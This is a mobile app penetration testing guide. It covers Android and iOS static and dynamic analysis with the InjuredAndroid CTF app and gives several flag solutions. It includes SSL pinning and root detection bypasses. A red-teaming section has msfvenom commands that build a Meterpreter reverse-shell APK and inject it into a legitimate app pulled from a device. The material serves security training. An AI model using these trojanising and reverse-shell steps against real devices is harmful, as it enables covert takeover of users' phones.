1. Introduction

1.1 Mobile App Pentesting Process

1.1.1 Reconnaissance

  • Gather information about the company and the mobile application.
  • Locate the target app on app distribution platforms like the Play Store or Apple Store.
  • Identify and document different versions of the app, including patch notes and update history.

1.1.2 Static Analysis

  • Review the app's source code using both manual methods and automated tools.
  • Search for hardcoded sensitive information and potential security misconfigurations within the app.
  • Use the findings to determine if further analysis or additional reconnaissance is needed.

1.1.3 Dynamic Analysis

  • Execute the app and interact with it to identify vulnerabilities.
  • Capture and analyze network traffic using tools like Burp Suite or Proxyman.
  • Extract and examine memory dumps for insecurely stored secrets.
  • Investigate local storage for files generated during runtime that might expose sensitive data.
  • Assess the app for vulnerabilities typically associated with the OWASP Top Ten.

1.1.4 Reporting

  • Prepare a report that includes an executive summary and detailed descriptions of the discovered vulnerabilities.
  • Assign severity levels to each finding and provide step-by-step instructions to reproduce the issues.

1.2 Android Security Architecture

  • Android's Foundation: Based on the Linux operating system, it utilizes similar commands and file permission structures.
  • App Isolation: Each application runs in a virtual machine (VM) environment known as the Android Runtime (ART), which interprets bytecode into device-specific instructions. This VM is sandboxed to prevent apps from interfering with one another.
  • File System Segregation: Android creates a unique user ID (UID) for each app, isolating their data in the file system. This approach ensures that apps cannot access each other's data unless explicitly permitted.
  • Profiles and Data Management: Android supports multiple profiles, such as work and personal, which keep data separate while allowing necessary system-level interactions. User roles like Primary user, Guest, and Kid mode further enhance data security and user experience.
  • Key Layers of Android Architecture:
    • Linux Kernel: Provides support for various CPU types and manages device components via drivers. It also governs the minimum SDK version (minSDKVersion) apps must meet, balancing security with broader device compatibility.
    • Hardware Abstraction Layer (HAL): Enables apps to interact with device hardware without depending on the manufacturer, supporting a wide range of hardware components, including those in newer technologies like IoT and automotive.
    • Native Libraries (C/C++) and ART Libraries: Native libraries operate directly on the device without needing a VM, while ART libraries facilitate app development using languages like Java or Kotlin.
    • Java API Layer: Supports app interaction with other apps and device functions. It includes components like Content Providers for data sharing, the View system for UI design, and various managers for handling notifications, telephony, packages, and location services.
    • System Apps: These are pre-installed applications on Android devices. Users can replace system apps with their preferred alternatives.

1.3 App Security & Signing Process

  • Reverse Engineering: Android apps can be decompiled, modified, and recompiled using tools like JADX-GUI or Apktool.
  • App Integrity: The integrity of apps is maintained through a signing process that employs public-key cryptography. Android uses multiple signature verification methods, including APK signature schemes v1, v2, and v3, with additional Google Play signing for enhanced security.

1.4 Setup Instructions

  1. Install Required Tools:

    • adb, apktool, jadx-gui, and Android Studio are essential for conducting analysis and testing.
    • Android Studio is best installed on the host machine as it may not perform well on virtual machines.

  2. Using Android Studio:

    • Utilize features such as Device File Explorer, Terminal, Logcat, and AVD Manager to interact with and analyze mobile apps.
    • In AVD Manager, create virtual devices with different API levels (e.g., API 29 and API 23) to simulate various environments.

  3. Working with Rooted Devices:

    • On virtual devices that do not include Google Play, you can use the adb root command to gain root access and run additional commands within adb shell.
    • Devices with Google Play installed typically do not allow adb root access.

1.5 Install Utilities

  • For Windows
# Install Java from https://www.java.com/en/

# Install JADX-GUI from the GitHub (https://github.com/skylot/jadx) releases section (https://github.com/skylot/jadx/releases/tag/v1.2.0) and choose the .exe

# Install abd from Android Platform Tools https://developer.android.com/studio/releases/platform-tools ; then copy the platform-tools folder downloaded to C:\Windows or add the PATH to ENVIRONMENT_VARIABLES

# Install abd from https://ibotpeaches.github.io/Apktool/ and follow the instructions for installing

# Install Android Studio
  • For Kali
# ------- Option 1: install all the requirements automatically.
# PimpMyKali (install all required tools)
git clone https://github.com/Dewalt-arch/pimpmykali
cd pimpmykali
sudo ./pimpmykali.sh
# Select Option A MAPT
# Check that it was installed correctly (see manual for the following tools):
abg
apktool
jadx-gui

# ------- Options 2: install tools manually
sudo apt-get install adb
sudo apt-get install apktool # Reference: https://ibotpeaches.github.io/Apktool
sudo apt-get install default-jdk
sudo apt-get install jadx
  • For Mac
# Install Brew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# JADX-GUI
brew install jadx

# apktool
brew install apktool

# Install Android Studio in the host machine

# Android Platform Tools
brew install android-platform-tools
  • Emulator Setup & Recommendations
# It is important to choose emulators that have access to the Google Play, and have at least 2-3 emualators:
Nexus 5 - Q - 29 - x86 - Android 10.0
Nexus 5 - Something like - API Level (22-24) - x86
  • Access emulators running in host from the VM
# On the host (in case of getting the error no-bind kill the task, command for Windows)
ipconfig
abd -a nodaemon server
taskkill /f /im adb.exe

# On the Kali: (example) abd -H 192.168.127.182 -P 5037 shell
abd -H [host_IP] -P 5037 [command]
  • Access Extended Controls
# Different options to access
Press F1
or
Go to File > Settings > Emulator > Uncheck the option 'Launch in a tool window'

2. Android Static Analysis

2.1 Pulling an APK from the Play Store

Under AVD Manager, run the virtual device (configured with API level 29), navigate to the Google Play Store, sign into a Google account, and download the Injured Android app. If you're unable to find the app on Play Store, download it from GitHub instead: https://github.com/B3nac/InjuredAndroid.

# Step 1: Install the app on the virtual device; then open Terminal in Android Studio

# Step 2: Launch the shell for the virtual device
adb shell

# Step 3: Verify the current user (should return 'shell')
whoami

# Step 4: List all installed apps
pm list packages

# Step 5: Search for the InjuredAndroid package
pm list packages | grep injured

# Expected output: Package name 'b3nac.injuredandroid' for InjuredAndroid

# Step 6: Retrieve the file path for the app
pm path b3nac.injuredandroid

# Step 7: Exit the shell to return to your system
exit

# Step 8: Create a directory for storing the APK
mkdir ApkFolder

# Step 9: Navigate into the created directory
cd ApkFolder

# Step 10: Pull the APK from the virtual device to your system
adb pull <file path for injuredandroid> injuredandroid-pulled.apk

# Step 11: Open the pulled APK in JADX-GUI to view the source code

# Note: If the APK cannot be opened in JADX-GUI, there might be a Java version mismatch. Adjust accordingly.

2.2 Manual Static Analysis

The vulnerable app used in this course is InjuredAndroid, which is structured as a Capture the Flag (CTF) challenge. The source code is available on GitHub. The app includes flags that can be tracked directly within the application.

Important Considerations:

  1. Android Manifest.xml Overview:

    • Every Android app includes an Android Manifest.xml file, which defines critical app details such as:
      • minSDKVersion: Specifies the minimum Android API level required to run the app.
      • Permissions: Lists the permissions needed by the app.
      • Activities: UI components within the app.
      • Content Providers: Facilitate data sharing between apps.

  2. Analyzing InjuredAndroid.apk:

    • When you open the InjuredAndroid.apk in jadx-gui, navigate to the Resources section to locate the Android Manifest.xml file.
    • Key elements to observe:
      • minSdkVersion: Indicates compatibility with Android API level 21 and above.
      • Permissions: Found under the <uses-permission> tag, these indicate what the app requires.
      • Exported Activities and Providers: Look for the exported attribute set to True, which could expose functionality to other apps.

  3. Decompiling the APK:

    • For manual static analysis, decompiling the APK with apktool can provide deeper insights:
# Decompiling the APK
# 'd' is for decompiling the APK
# '-r' can be used to skip decompiling resources in large apps
apktool d <path-to-apk> [-r]

# Lists the directory containing the decompiled app files
ls

cd <decompiled-directory>
ls
# Shows the decompiled files & folders for the app

strings <path-to-binary-file>
# Extracts strings from the specified binary file
  1. Further Inspection:
    • Decompiling with apktool reveals additional files and folders not visible in jadx-gui.
    • Focus on the smali folder, which contains the app's source code, similar to the code representation in jadx-gui. This can be valuable for deeper analysis and understanding of the app's behavior.
  1. Review if they are exported activities (possible sensitive content exposed):
# 1. Find the package name
adb shell pm list packages | grep <partial_package_name>

# 2. Find the activities in the AndroidManifest.xml.

# 3. Start the activity
adb shell am start -n com.example.app/.MainActivity

Methodology:

  1. Search for misconfiguration in AndroidManifest.xml.
  2. Search for hardcoded strings; usually in the the /Resources/ folder and the strings.xml and .xml files.
  3. Use tools to search for AWS, Firebase or other possibles Keys.
  4. Send the application to a MobSF analysis.
  5. Check the logs.
  6. See if you can intercept the network traffic of the application; if necessary implement SSL Pinning.
  7. Check all the request trying to find possible vulnerabilities, in this case they can transform into web-based or API-based vulnerabilities.
  8. Use objection to perform memory checks and other checks you may consider relevant to the application.
  9. Use any other type of technique you could find relevant.

2.3 Finding Hardcoded Strings

Hardcoded strings can often be located in resources/strings.xml and within activity source code. These strings may pose various threat vectors, including login bypasses (username/password, credentials), exposed URLs (http/https), API keys, and Firebase URLs (firebase.io).

To investigate these strings in jadx-gui, open the XML files located at /Resources/resources.arsc/res/values/. Look for notable entries in strings.xml such as default_web_client_id, google_api_key, google_app_id, google_crash_reporting_api_key, google_storage_bucket, and firebase_database_url. Utilize the Ctrl+F function to search for these keywords within the file.

Additionally, jadx-gui supports searching across all files for keywords, making it possible to search for terms like http://, https://, API, password, firebase, and sql to uncover other hardcoded sensitive information.

2.4 Injured Android Static Analysis

Flag 1:

  • To locate Flag 1, examine the source code in jadx-gui. Navigate to /Source code/b3nac.injuredandroid/FlagOneLoginActivity.
  • The flag is F1ag_0n3.

Flag 2:

  • The clues provided are activity and exported.
  • In the AndroidManifest.xml file, search for exported=true.
  • Copy the names of the activities found and test them. For instance, try b3nac.injuredandroid.b25lActivity.
  • You can access these exported activities from anywhere on your device using the following command: 
    adb shell
# Open a shell on the device

am start b3nac.injuredandroid/.b25lActivity
# Launch the activity from the app
# This will navigate to a new UI where you can retrieve the second flag

Flag 3:

  • This flag is related to 'Resources'.
  • Examine the source code for flag 3. Like flag 1, it involves a string comparison to verify the flag.
  • The comparison is done with R.string.cmVzb3VyY2VzX3lv, which suggests that this string may be in the strings.xml file.
  • Searching for cmVzb3VyY2VzX3lv within the strings.xml file will reveal the flag.

Flag 4:

  • The clue for this flag involves "classes and imports".
  • Begin by checking the source code for flag 4.
  • Within the relevant function, a byte object is instantiated from the class C1489g.
  • Search for the class C1489g in all files or double-click its name to locate its source code.
  • This class contains a base64-encoded string. Decoding this string will provide the flag.

2.5 Enumerating AWS Storage Buckets

In the InjuredAndroid app, Flag 8 relates to AWS CLI and AWS Storage. To find relevant information, search for AWS-related strings, particularly in the strings.xml file, which can be a crucial resource.

When decompiling the APK with apktool, you can find strings.xml at /res/values/. In jadx-gui, it is located at /Resources/resources.arsc/res/values/. This file may contain AWS_ID and AWS_SECRET, although these values might be removed in newer releases.

If AWS_ID and AWS_SECRET are present, you can use tools such as cloud_enum and awscli to gather further information.

# Replace `<path-to-cloud_enum.py>`, `<search-term>`, `<profile-name>`, and `<bucket-name>` with the appropriate values for your context.

# Install AWS CLI
sudo apt-get install awscli

# Setup cloud_enum from GitHub
# Fuzz for the term '<search-term>'
# This may reveal an S3 bucket
python3 <path-to-cloud_enum.py> -k <search-term>

# Configure AWS CLI
# Enter AWS_ID and AWS_SECRET when prompted
aws configure --profile <profile-name>

# List contents of the S3 bucket
aws s3 ls s3://<bucket-name> --profile <profile-name>

2.6 Enumerating Firebase Databases

  • To find Flag 9, you need to enumerate Firebase databases.
  • From strings.xml, you obtained a Firebase URL, such as https://{firebase_project_id}.firebaseio.com/.
  • Access this URL using tools like Postman or Burp Suite.
  • The response should be a database dump containing the flag.

2.7 Automated Analysis using MobSF

MobSF (Mobile Security Framework) is an automated, all-in-one static analysis tool for APKs, IPAs, and mobile apps:

# Pull the latest MobSF image
docker pull opensecurity/mobile-security-framework-mobsf

# Start the MobSF container
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# Download the APK and navigate to the folder
cd {directory_for_apk}
wget {apk_download_url}

# Open MobSF in your browser
open http://localhost:8000

# Upload the APK to MobSF
# MobSF performs the static analysis
# Flag 1 can be found under 'Hardcoded Strings'

Additional Commands & Suggestions:

  1. Proguard Mapping File: if the APK uses Proguard for code obfuscation, check for the Proguard mapping file within the decompiled APK to understand the code structure.

  2. Third-Party Libraries: convert the classes.dex file to a JAR file using Dex2jar, which can then be inspected with tools like jd-gui or other Java decompilers:

dex2jar {apk_file_name}
# Converts the dex file to jar

  1. SSL Pinning: detect SSL pinning by inspecting network security configurations or analyzing the code for custom certificate validation methods.

  2. API Calls: review network requests by analyzing the manifest or using tools like Burp Suite with the Android emulator to intercept and analyze traffic.

3. Android Dynamic Analysis

3.1 BurpSuite Configuration

How to configure and setup the proxy

  1. Configure Burp Suite proxy listener on port 8082, bound to all interfaces
  2. Set up manual proxy on the running emulator
  3. Navigate to the extended controls, and set 127.0.0.1:8082 as the proxy
  4. Export CA certificate from Burp Suite
  5. Save the certificate as 'filename.CER' (required format)
  6. Install the certificate on the emulator
  7. Drag and drop the .CER file, and install it via Settings > Trusted Credentials > Install from SD Card.
  8. Enable interception in Burp Suite
  9. Toggle Intercept to On, and Burp Suite will start capturing traffic from the emulator.

3.2 SSL Pinning

SSL Pinning is a security measure used to prevent Man-In-The-Middle (MITM) attacks by ensuring that the app only communicates with servers having a specific certificate. However, some apps may not trust a root certificate, requiring additional steps for interception.

Steps for SSL Interception

  1. Start and Configure Proxy: Set up your proxy software (e.g., Burp Suite, Proxyman).
  2. Configure Device Proxy: Set the emulator or device to use the proxy.
  3. Intercept HTTP Traffic: Capture unencrypted traffic.
  4. Install CA Certificate:
    • Import and trust the CA certificate in the Android Certificate Store.
  5. Intercept HTTPS Traffic:
    • If SSL Pinning blocks interception (shamed test failed), use tools like Objection or Frida.

3.3 Automatic Patching with Objection

Objection allows you to automatically inject Frida into an APK for runtime mobile exploration.

# 1. Install the required tools
pip3 install frida-tools objection

# 2. Patch the APK using Objection, replace <APK_NAME> with your APK file name
objection patchapk --source <APK_NAME>.apk

# The patched APK will be saved with a new name (e.g., <APK_NAME>.objection.apk). You can install this patched APK on the emulator.

3.4 Manual Patching

Manual patching involves injecting Frida into the APK and signing it.

# 1. Decompile the APK, replace <APK_NAME> with your APK file name
apktool d -r <APK_NAME>.apk

# 2. Download the appropriate Frida gadget for the emulator's architecture
wget https://github.com/frida/frida/releases/download/<FRIDA_VERSION>/frida-gadget-<FRIDA_VERSION>-android-<ARCH>.so.xz

# 3. Extract and rename the Frida gadget
unxz frida-gadget-<FRIDA_VERSION>-android-<ARCH>.so.xz
mv frida-gadget-<FRIDA_VERSION>-android-<ARCH>.so libfrida-gadget.so

# 4. Move the Frida gadget into the appropriate lib folder
mv libfrida-gadget.so ~/path/to/decompiled/apk/lib/<ARCH>/

# 5. Inject the Frida gadget into the APK's SMALI code; add the following line to the main activity’s SMALI file
const-string v0, "frida-gadget"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

# 6. Recompile the APK, replace <OUTPUT_APK> with the desired output file name
apktool b <APK_NAME> -o <OUTPUT_APK>.apk

# 7. Create a new keystore for signing the APK
keytool -genkey -v -keystore <KEYSTORE_NAME>.keystore -alias <ALIAS_NAME> -keyalg RSA -keysize 2048 -validity 10000

# 8. Sign the APK using jarsigner, replace <PASSWORD> with your keystore password
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore <KEYSTORE_NAME>.keystore -storepass <PASSWORD> <OUTPUT_APK>.apk <ALIAS_NAME>

# 9. Verify the APK is signed
jarsigner -verify <OUTPUT_APK>.apk

# 10. Align the APK, replace <FINAL_APK> with the final output file name
zipalign 4 <OUTPUT_APK>.apk <FINAL_APK>.apk

# 11. Install the final APK on the emulator and explore with Objection
objection explore

3.5 Dynamic Analysis with MobSF

MobSF allows dynamic analysis of Android applications. This setup does not require a device with the Google Play Store, and supports up to Android API 28.

# 1. List all available Android Virtual Devices (AVDs)
emulator -list-avds

# 2. Start an AVD with writable system and no snapshot, replacing <AVD_NAME> with the desired AVD name
emulator -avd <AVD_NAME> -writable-system -no-snapshot

# 3. Navigate to MobSF directory and start the dynamic analyzer
cd /path/to/Mobile-Security-Framework-MobSF
./run.sh  # For Linux/MacOS
./run.bat # For Windows

# 4. Upload the APK to MobSF for dynamic analysis and start the process

# 5. Navigate to the provided link, upload the APK, and click "Start Dynamic Analysis"

3.6 Dynamic Analysis Vectors

Objection and Frida can be used for various dynamic analysis tasks on a running app.

  1. Monitoring Application Behavior
# Start Objection exploration on a running app
objection explore

# Monitor clipboard activity
android clipboard monitor

# Dump all memory
memory dump all

# Interact with the Android keystore
android keystore list
android keystore watch

# Simulate root access
android root simulate

# Inject a Frida script to disable SSL pinning or other protections
frida -U -n <app_package_name> -l disable-ssl-pinning.js

# Trace specific API calls to understand how the app interacts with system resources
frida-trace -U -n <app_package_name> -i "open*"
  1. File System Exploration
# Explore Files
Navigate to the data/data/<app_package_name>/ directory to inspect databases, shared preferences, and other stored files.

# Pull the SQLite database from the app's data directory
adb pull /data/data/<app_package_name>/databases/<database_name>.db

# Use sqlite3 or DB Browser for SQLite to analyze the pulled database
sqlite3 <database_name>.db
  1. Network Traffic Interception
# 1. Setup BurpSuite
Configure your device to use Burp Suite as a proxy and intercept HTTP/S traffic

# 2. Bypass SSL Pinnning
Use Burp Suite in combination with Frida or Objection to bypass SSL pinning
  1. Advanced Memory Analysis
# Dump the memory of the target application for forensic analysis
fridump -U -n <app_package_name>

# Use Volatility to parse and analyze the memory dump
volatility -f memory.dump --profile=LinuxAndroid --plugins=volatility_plugins/
  1. Using Frida Codeshare Scripts Frida Codeshare is a repository of scripts that can be used to extend Frida's functionality. These scripts can be used to automate various tasks such as bypassing SSL pinning, hooking functions, and more.
# Download and run a script from Frida Codeshare
frida -U -n <app_package_name> --codeshare <codeshare_id>

3.7 Dealing with Split APKs

When dealing with split APKs, you'll need to pull and sign each APK before installing them on the device.

# 1. List and pull all APKs associated with the app, replace <APP_NAME> with your app's package name
pm list packages | grep <APP_NAME>
pm path <APP_PATH>

# 2. Pull base and split APKs from the device
adb pull <base.apk> <split_config.apk>

# 3. Inject base.apk with Objection
objection patchapk -s base.apk --use-aapt2

# 4. Sign each split APK
objection signapk <split_config.apk>

# 5. Install all APKs on the device
adb install-multiple base.objection.apk split_config.apk

3.8 Frida Codeshare and Startup Scripts

Frida Basics

# Install the tool
pip install frida-tools

# List connected devices
frida-ls-devices

# Attach to a running process
frida -U -n com.example.app

# Script with Frida
// Example Frida script to hook a function
Java.perform(function() {
    var MainActivity = Java.use('com.example.app.MainActivity');
    MainActivity.someFunction.implementation = function() {
        console.log('someFunction was called');
        return this.someFunction();
    };
});

# Run a script
frida -U -f com.example.app -l myscript.js --no-pause

Frida Codeshare Provides scripts that can be used to add functionalities to your dynamic analysis.

# Run a script after starting Objection, replace <SCRIPT.js> with your script file
objection explore --startup-script <SCRIPT.js>

# Alternatively, run generic commands after startup
objection explore --s "android root disable"

# Fix issues with Kotlin applications by specifying the AAPT2 version
objection patchapk -s <APK_NAME>.apk --use-aapt2

3.9 Root Detection Bypass

Bypassing root detection is crucial for analyzing apps that prevent execution on rooted devices. Below are some common techniques and tools:

Magisk:

  • Installation: Install Magisk for root access with a systemless approach.
  • Hiding Root: Use MagiskHide to conceal the root status from apps.

Xposed Framework:

  • Installation: Set up the Xposed framework on a rooted device.
  • RootCloak Module: Use the RootCloak module to hide root from specific apps.

Frida:

  • Root Bypass Script: use Frida scripts to dynamically intercept and modify root detection functions in the app.
# Frida example to bypass root detection
frida -U -f com.example.app -l root-bypass.js --no-pause

3.10 Network Traffic Analysis

Analyzing network traffic helps to understand how an app communicates with its backend services. Here are some additional tools and techniques:

  • tcpdump: capture network traffic directly from the device:
adb shell tcpdump -i any -s 0 -w /sdcard/capture.pcap
adb pull /sdcard/capture.pcap .

  • Wireshark: analyze the .pcap file using Wireshark to inspect network packets.

  • SSL Split/SSL Kill Switch: bypass SSL Pinning to capture encrypted traffic:

# Example to disable SSL pinning with Frida
frida -U -f com.example.app -l ssl-pinning-bypass.js --no-pause

3.11 Log Analysis

Analyzing logs can reveal sensitive information or potential vulnerabilities.

  • Logcat
adb logcat > app_logs.txt
  • Filter logs for sensitive data:
adb logcat | grep "keyword"
  • Sensitive Information Search: search for credentials or tokens in logs:
grep -i 'password\|token' app_logs.txt

4. Android Red Teaming

4.1 Creating a Generic APK

We will be using Metasploit and Meterpreter

  1. Create the APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<kali_IP> LPORT=<your_port> R><myapp.apk>
  1. Generate the key for signing
keytool -genkey -V -keystore key.keystore -alias keystore -kayalg RSA 2048 - validity 10000
  1. Sign the APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android.apk keystore
  1. Compress the apk
zipalign -v 4 android.apk hackedapp.apk
  1. Install the APK for Testing in the Emulator
adb install hackedapp.apk

4.2 Inject Meterpreter Playload into Play Store App

Reference Guide 

# 1. Download app to your android device

# 2. Pull using abd

# 3.
pm list packages | grep injured

# 4.
pm path b3nac.injuredandroid

# 5.
abd shell [result_path_step_before]
adb pull <path_to_apk/base.apk> -o <my_app.apk>

# 6. Create the payload
msfvenom -x <my_app_to_inject.apk> -p android/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=<my_port> -o <my_app_hacked.apk>

# 7. Uninstall the previous app and intall the malicious one for testing.

5. iOS Static Analysis

5.1 Basics

iOS Ecosystem:

  • iOS is a more closed environment compared to Android, often referred to as a 'walled garden.'
  • Jailbreaking is used to bypass some of these restrictions, allowing greater access to the file system and installed apps.

Development Environment:

  • Xcode is the integrated development environment (IDE) used for developing iOS applications.

Hardware Security:

  • iOS devices include hardware security features like the Secure Enclave, not commonly found in Android devices.

File System: iOS devices have a dual-partition file system:

  • User Partition: Stores user data and is encrypted.
  • OS Partition: Contains the operating system and system files.

Application Development: most iOS apps are written in Objective-C or Swift (the latest language).

Application Packaging:

  • iOS apps are distributed as .ipa files, which are signed bundles containing the app and its assets.
  • .ipa files include a /Payload directory, which contains the actual application in the form of .app files.
  • Important files within the .ipa include Info.plist, similar to AndroidManifest.xml in Android.

Extracting .ipa Files: tools like AnyTrans and IPATool can be used to download .ipa files directly from the App Store for analysis.

5.2 Manual Static Analysis

Extracting Contents from an .ipa File:

  • Rename the .ipa file to Payload.zip, then unzip it to access its contents.
  • The unzipped folder will include a Payload directory containing the app’s files.

Key Files for Analysis:

  • Info.plist: Contains configuration settings, similar to AndroidManifest.xml.
  • Other important files include additional .plist and .json files, which may store critical information such as API endpoints, configurations, and more.

Automated Static Analysis: use MobSF (Mobile Security Framework) for automated static analysis, which provides insights into vulnerabilities and potential risks in the app.

5.3 Advanced Static Analysis

Binary Analysis:

  • Use tools like class-dump to extract Objective-C class information from iOS binaries.
  • Hopper or Ghidra can be used for disassembling and decompiling the binary to understand the app's functionality.
  • Code Obfuscation: Be aware that many apps may use code obfuscation techniques to make reverse engineering more difficult. Use objection or Frida scripts to bypass these.

In-depth Analysis of Plist Files (Key Plist Files):

  • Entitlements.plist: Contains the entitlements granted to the app, such as access to iCloud, HealthKit, etc.
  • embedded.mobileprovision: Describes the provisioning profile, including app ID, team ID, and entitlements.

Automated Static Analysis Tools:

  • Otool: A command-line tool that displays information about Mach-O files, such as libraries linked, sections, and symbols.
  • jtool: A popular alternative to otool with more features.

6. iOS Dynamic Analysis

6.1 Basics

Dynamic Analysis Overview

  • Dynamic analysis involves running the application and interacting with it to find vulnerabilities.
  • One of the main challenges in iOS dynamic analysis is SSL pinning, which can prevent traffic interception.

SSL Pinning Bypass

  • Attempt to bypass SSL pinning using tools like Burp Suite or Proxyman.
  • If these tools fail, consider using Objection to patch the .ipa file and disable SSL pinning.
  • As a last resort, use a jailbroken device with tools like SSL KillChain to bypass SSL pinning.

6.2 Tools and Techniques

Objection:

  • Install Objection via pip3 install frida-tools and pip3 install objection.
  • Use objection patchipa to patch the .ipa file and disable SSL pinning.
  • Use objection explore to hook into the app and perform further analysis.

Jailbreaking:

  • Jailbreaking allows full access to the device’s file system and is often necessary for deep penetration testing.
  • Tools like Checkra1n can be used for jailbreaking iOS devices.

SSL KillSwitch: the SSL KillSwitch tool can be used on a jailbroken device to disable SSL pinning at runtime.

Cydia Substrate:

  • Used for method hooking on jailbroken devices. It allows developers and pentesters to modify app behavior dynamically.

Cycript:

  • A blend of JavaScript and Objective-C that can be used for exploring and modifying iOS apps at runtime.

7. References

Index
1.1.1 Reconnaissance 1.1.2 Static Analysis 1.1.3 Dynamic Analysis 1.1.4 Reporting
1.2 Android Security Architecture 1.3 App Security & Signing Process 1.4 Setup Instructions 1.5 Install Utilities
2.1 Pulling an APK from the Play Store 2.2 Manual Static Analysis 2.3 Finding Hardcoded Strings 2.4 Injured Android Static Analysis 2.5 Enumerating AWS Storage Buckets 2.6 Enumerating Firebase Databases 2.7 Automated Analysis using MobSF
3.1 BurpSuite Configuration 3.2 SSL Pinning 3.3 Automatic Patching with Objection 3.4 Manual Patching 3.5 Dynamic Analysis with MobSF 3.6 Dynamic Analysis Vectors 3.7 Dealing with Split APKs 3.8 Frida Codeshare and Startup Scripts 3.9 Root Detection Bypass 3.10 Network Traffic Analysis 3.11 Log Analysis
4.1 Creating a Generic APK 4.2 Inject Meterpreter Playload into Play Store App
5.1 Basic 5.2 Manual Static Analysis 5.3 Advanced Static Analysis
6.1 Basics 6.2 Tools and Techniques
7. References